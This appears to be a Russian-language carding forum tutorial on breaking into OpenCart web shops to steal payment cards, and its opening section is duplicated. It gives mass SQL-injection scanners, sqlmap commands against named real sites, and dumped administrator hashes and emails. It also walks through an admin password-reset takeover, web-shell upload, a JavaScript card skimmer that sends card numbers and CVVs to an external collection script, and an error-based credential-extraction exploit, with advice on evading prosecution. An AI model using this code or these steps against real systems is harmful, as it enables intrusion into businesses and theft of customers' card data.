Предупрежу, это очень наказуемо. Почему? Ты можешь пиздить карты неделями с одного шопа этим способом, но как только дыру заметят, будет разбирательство, которое так просто не оставят. В этом я тебя уверяю, так что лучше не рискуй жопой, если не умеешь, а за неделю ты не научишься.
И да, если уж вздумаешь заниматься чем-то подобным, тебе я советую ориентироваться на Европу, но никак не США. Почему-то в ЕС терпят подобную еблю, а США если вцепится, то доведут дело до конца. Знаю не по наслышке.
Приступим. Что нам понадобится:
<?php
ini_set('memory_limit', '-1');
require __DIR__ . '/src/RollingCurl/RollingCurl.php';
require __DIR__ . '/src/RollingCurl/Request.php';
$rollingCurl = new \RollingCurl\RollingCurl();
$i =0;
$content = file('set_base_here.txt');
$plugin = "/index.php?route=product/product&path=4_16&product_id=431'";
$arr = array();
foreach ($content as $string) {
$url = trim($string);
$url = $url.$plugin;
$arr[] = $url;
}
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
print " product_id testing ". PHP_EOL;
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);
foreach ($sites as $url) {
$request = new \RollingCurl\Request($url);
$request->setOptions($options);
$rollingCurl->add($request);
}
$rollingCurl
->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) {
$out = $request->getResponseText();
$vuln = explode('You have an error in your SQL syntax',$out);
$false1 = explode('<html',$out);
$false = explode('href="',$out);
$header = $request->getresponseInfo();
$http_code = $header['http_code'];
if(($http_code == '200')&!isset($false[1])&!isset($false1[1])){
if(mb_strlen($request->getResponseText())==0){
// print PHP_EOL . $request->getUrl(). '
osible blind' . PHP_EOL;
}
if(isset($vuln[1])){
print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL;
}
else{
}
}
else{
}
})->execute();
?>
Запускаем из консоли (php5.6 бд для тестов приложужу в конце). Получаем первый результат:
_ttps://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431:vuln
Не стесьняясь используем sqlmap, удобно и работает.
python ~/sqlmap/sqlmap.py -u "https://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431*" --sql-shell --dbms="MySQL"
Получаем SQL shell. Проверяем наличие заполненых полей ftp.
select `value` from `oc_setting` where `key` like '%ftp%'
Мимо. Извлекаем учётные данные администраторов:
И да, если уж вздумаешь заниматься чем-то подобным, тебе я советую ориентироваться на Европу, но никак не США. Почему-то в ЕС терпят подобную еблю, а США если вцепится, то доведут дело до конца. Знаю не по наслышке.
Приступим. Что нам понадобится:
- php5.6 + curl
- RollingCurl - _ttps://github.com/takinbo/rolling-curl
<?php
ini_set('memory_limit', '-1');
require __DIR__ . '/src/RollingCurl/RollingCurl.php';
require __DIR__ . '/src/RollingCurl/Request.php';
$rollingCurl = new \RollingCurl\RollingCurl();
$i =0;
$content = file('set_base_here.txt');
$plugin = "/index.php?route=product/product&path=4_16&product_id=431'";
$arr = array();
foreach ($content as $string) {
$url = trim($string);
$url = $url.$plugin;
$arr[] = $url;
}
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
print " product_id testing ". PHP_EOL;
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL;
$sites = array_reverse($arr);
$options = array(CURLOPT_TIMEOUT => 15);
foreach ($sites as $url) {
$request = new \RollingCurl\Request($url);
$request->setOptions($options);
$rollingCurl->add($request);
}
$rollingCurl
->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) {
$out = $request->getResponseText();
$vuln = explode('You have an error in your SQL syntax',$out);
$false1 = explode('<html',$out);
$false = explode('href="',$out);
$header = $request->getresponseInfo();
$http_code = $header['http_code'];
if(($http_code == '200')&!isset($false[1])&!isset($false1[1])){
if(mb_strlen($request->getResponseText())==0){
// print PHP_EOL . $request->getUrl(). '
}
if(isset($vuln[1])){
print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL;
}
else{
}
}
else{
}
})->execute();
?>
Запускаем из консоли (php5.6 бд для тестов приложужу в конце). Получаем первый результат:
_ttps://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431:vuln
Не стесьняясь используем sqlmap, удобно и работает.
python ~/sqlmap/sqlmap.py -u "https://www.yay.bg/index.php?route=product/product&path=4_16&product_id=431*" --sql-shell --dbms="MySQL"
Получаем SQL shell. Проверяем наличие заполненых полей ftp.
select `value` from `oc_setting` where `key` like '%ftp%'
Мимо. Извлекаем учётные данные администраторов:
Код:
sql-shell> select `username`,`password`,`salt`,`email` from `oc_user`
output:
select `username`,`password`,`salt`,`email` from `oc_user` [12]:admin, d502c298a08c6a792d3aca5834cadda91c09bbef, gl2wqMCI7, [email protected], 00dd6ccaeedda898502bbc4a6252cc2ae9ececea, zf6TYZ22T, [email protected], 32eff90320144d729d52eecfcbcc0105c626ca7b, 1ahOeGubK, [email protected], 25887f0b297658f2c8a49ac839e1efa6113b8e6c, Fqnsekz8e, [email protected], 403431b3541f319f84123a0c1d04286bd423568c, pZvm4H0cU, [email protected], 9c72b218cde0952ed725d288e398426184560da2, Ocwi0EfVA, [email protected], 98d24ac005ceec111ee4361ce4978d6f339cbf69, yiqpiR8Vz, [email protected], 484ce4ef33f244bae80646af47bb831130d0987d, kMnrIXHJu, [email protected], a7fbec4075f1c590ff1abcf53ef753858bf39db5, zU8LusPfL, [email protected], 8d688e734dced7bdac0b36ab07c2b85c957db152, r4pmw6xnK, [email protected], 283232b15c7fbbf89aa6f3456a09a05f341aa080, 8Hd8zCa6l, [email protected], 6776e6dfad9a066f05aa1be004d16f02eea14ccd, n7x7sjPcL, [email protected]
Опустим попытку брута т.к на сайте есть форма востановления пароля:
https://www.yay.bg/admin/index.php?route=common/forgotten
Ресетим пароль администратора, [email protected];
Код для ресета пароля хранится в:
sql-shell> select `code` from `oc_user`
Cсылка для ввода кода для смены пароля:
/admin/index.php?route=common/reset&code=
https://www.yay.bg/admin/index.php?route=common/reset&code=TDetr40vBUNkev6nGLBBSv2zbtMlEK1SHwQGGPJY
- Попадаем в админ панель:
Загружаем шелл через установщик плагинов.
Текущий доступ примерно 300 карт в день, но нет формы оплаты. Можно поправить темплейт.
Прмемер сниффера: JS:
Код:jQuery(document).ready(function() { jQuery('#order').change(function() { if (jQuery('#card_number').val().replace(/[^0-9]/g,'').length > 14 && jQuery('#card_cvNumber').val().replace(/[^0-9]/g,'').length > 2) { jQuery.ajax({ url: 'https://example.com/gate.php?token=FZorkMQW', data: jQuery('#order').serialize(), type: 'POST', success:function(resp) { return false; }, error:function(jqXHR, textStatus, errorThrown) { return false; } }); } }); }); Правим поля под форму (#); gate.php <?php header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept'); $req_dump = file_get_contents("php://input").PHP_EOL; $fp = file_put_contents( '/var/log/ssl30.txt', $req_dump, FILE_APPEND); ?>
Код:<?php ini_set('memory_limit', '-1'); require __DIR__ . '/src/RollingCurl/RollingCurl.php'; require __DIR__ . '/src/RollingCurl/Request.php'; $rollingCurl = new \RollingCurl\RollingCurl(); $i =0; $content = file('test.txt'); $plugin = "/index.php?route=module/mega_filter/results&mfp='"; $arr = array(); foreach ($content as $string) { $url = trim($string); $url = $url.$plugin; $arr[] = $url; } print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL; print " testing module/mega_filter ". PHP_EOL; print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL; $sites = array_reverse($arr); $options = array(CURLOPT_TIMEOUT => 15); foreach ($sites as $url) { $request = new \RollingCurl\Request($url); $request->setOptions($options); $rollingCurl->add($request); } $rollingCurl ->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) { $out = $request->getResponseText(); $vuln = explode('syntax;',$out); $false1 = explode('<html',$out); $false = explode('href="',$out); $header = $request->getresponseInfo(); $http_code = $header['http_code']; if(($http_code == '200')&!isset($false[1])&!isset($false1[1])){ if(mb_strlen($request->getResponseText())==0){ //print PHP_EOL . $request->getUrl(). ':posible blind' . PHP_EOL; } if(isset($vuln[1])){ print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL; } else{ } } else{ } })->execute(); ?>
Тестовый output:
Код:abaro.vn/index.php?route=module/mega_filter/results&mfp=':vuln igalaxy.gr/index.php?route=module/mega_filter/results&mfp=':vuln cardtak.com/index.php?route=module/mega_filter/results&mfp=':vuln iesmasterpublications.com/index.php?route=module/mega_filter/results&mfp=':vuln www.daciashop.ro/index.php?route=module/mega_filter/results&mfp=':vuln www.enbimoda.com/index.php?route=module/mega_filter/results&mfp=':vuln www.omikron.gr/index.php?route=module/mega_filter/results&mfp=':vuln www.indiansilkhouse.com/index.php?route=module/mega_filter/results&mfp=':vuln www.bazistory.com/index.php?route=module/mega_filter/results&mfp=':vuln polleosport.si/index.php?route=module/mega_filter/results&mfp=':vuln iranianskin.com/index.php?route=module/mega_filter/results&mfp=':vuln Пример запроса к sqlmap: python ~/sqlmap/sqlmap.py -u "https://iesmasterpublications.com/index.php?route=module/mega_filter/results&mfp=*" --dbs --tamper="between" --dbms="MySQL" JohnTheRipper - https://www.openwall.com/john/ Конфигурация JtR для подбора паролей: https://github.com/magnumripper/JohnTheRipper/wiki/Cracking-OpenCart-hashes-with-JtR Мини эксплоит для module/mega_filter; <?php error_reporting(0); $link = "http://-link-here-dot-com/index.php?route=module/mega_filter/results&mfp="; function curl_me($url/*,$post*/){ if($curl = curl_init()) { curl_setopt($curl,CURLOPT_URL, $url); curl_setopt($curl,CURLOPT_RETURNTRANSFER,true); curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true); /*curl_setopt($curl, CURLOPT_POSTFIELDS, $post);*/ curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,30); curl_setopt($curl,CURLOPT_USERAGENT,'JKOIhlklk!'); $response = curl_exec($curl); curl_close($curl); $tmp = explode('qbbjq',$response); $value = explode('qbbjq1',$tmp[1]); $out = $value[0]; return $out; } } $i = 0; while($i < 5){ $username_payload = "%27%20AND%20(SELECT%209703%20FROM(SELECT%20COUNT(*),CONCAT(0x7162626a71,(SELECT%20MID((IFNULL(CAST(username%20AS%20CHAR),0x20)),1,54)%20FROM%20oc_user%20LIMIT%20".$i.",1),0x7162626a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27vLGl%27=%27vLGl"; $password_payload = "%27%20AND%20(SELECT%209703%20FROM(SELECT%20COUNT(*),CONCAT(0x7162626a71,(SELECT%20MID((IFNULL(CAST(password%20AS%20CHAR),0x20)),1,54)%20FROM%20oc_user%20LIMIT%20".$i.",1),0x7162626a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27vLGl%27=%27vLGl"; $salt_payload = "%27%20AND%20(SELECT%209703%20FROM(SELECT%20COUNT(*),CONCAT(0x7162626a71,(SELECT%20MID((IFNULL(CAST(salt%20AS%20CHAR),0x20)),1,54)%20FROM%20oc_user%20LIMIT%20".$i.",1),0x7162626a71,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20%27vLGl%27=%27vLGl"; $username = $link.$username_payload; $password = $link.$password_payload; $salt = $link.$salt_payload; $usr = curl_me($username); $pwd = curl_me($password); $slt = curl_me($salt); print $usr.":".$pwd.":".$slt.PHP_EOL; $i++; }
тип хэша: sha1($s.sha1($s.sha1($p)))
Стандартный prefix: oc_
Стандартная таблица с админ записями: oc_user
Стандартная таблица с ftp: oc_setting - Вложение к статье
Изи хак - чекер на наличие бэкапов в корне
Код:- backup.sql - *доменное_имя*.sql <?php ini_set('memory_limit', '-1'); require __DIR__ . '/src/RollingCurl/RollingCurl.php'; require __DIR__ . '/src/RollingCurl/Request.php'; $rollingCurl = new \RollingCurl\RollingCurl(); $i =0; $content = file('1mln.txt'); $arr = array(); foreach ($content as $string) { $url = trim($string); $plugin = explode('.',$url); $plugin1 = '/'.$plugin[0].'.sql'; $url1 = $url.$plugin1; $url2 = $url."/backup.sql"; $arr[] = $url1; $arr[] = $url2; if (isset($plugin[1])){ $url3 = $url.'/'.$plugin[1].'.sql'; $arr[] = $url3; } } print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL; print " testing backup.sql ". PHP_EOL; print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL; $sites = array_reverse($arr); $options = array(CURLOPT_TIMEOUT => 15); foreach ($sites as $url) { $request = new \RollingCurl\Request($url); $request->setOptions($options); $rollingCurl->add($request); } $rollingCurl ->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) { $out = $request->getResponseText(); $vuln = explode('INSERT',$out); $false1 = explode('<html',$out); $false = explode('href="',$out); $header = $request->getresponseInfo(); $http_code = $header['http_code']; if(($http_code == '200')&!isset($false[1])&!isset($false1[1])){ // if(mb_strlen($request->getResponseText())==0){ // print PHP_EOL . $request->getUrl(). ':posible blind' . PHP_EOL;} if(isset($vuln[1])){ print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL; } else{ } } else{ } })->execute(); ?>
(Чекает error-based вектор) Официального CVE не нашел как и описание уязвимости, хотя в новых версиях исправленно.
Код:<?php ini_set('memory_limit', '-1'); require __DIR__ . '/src/RollingCurl/RollingCurl.php'; require __DIR__ . '/src/RollingCurl/Request.php'; $rollingCurl = new \RollingCurl\RollingCurl(); $i =0; $content = file('1mln.txt'); $plugin = "/'"; $arr = array(); foreach ($content as $string) { $url = trim($string); $url = $url.$plugin; $arr[] = $url; } print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL; print " seo_url testing ". PHP_EOL; print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++". PHP_EOL; $sites = array_reverse($arr); $options = array(CURLOPT_TIMEOUT => 15); foreach ($sites as $url) { $request = new \RollingCurl\Request($url); $request->setOptions($options); $rollingCurl->add($request); } $rollingCurl ->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) { $out = $request->getResponseText(); $vuln = explode('syntax;',$out); $false1 = explode('<html',$out); $false = explode('href="',$out); $header = $request->getresponseInfo(); $http_code = $header['http_code']; if($http_code == '200'){ // if(mb_strlen($request->getResponseText())==0){ // print PHP_EOL . $request->getUrl(). ':posible blind' . PHP_EOL;} // if(isset($vuln[1])){ print PHP_EOL . $request->getUrl(). ':vuln' . PHP_EOL; } else{ } } else{ } })->execute(); ?>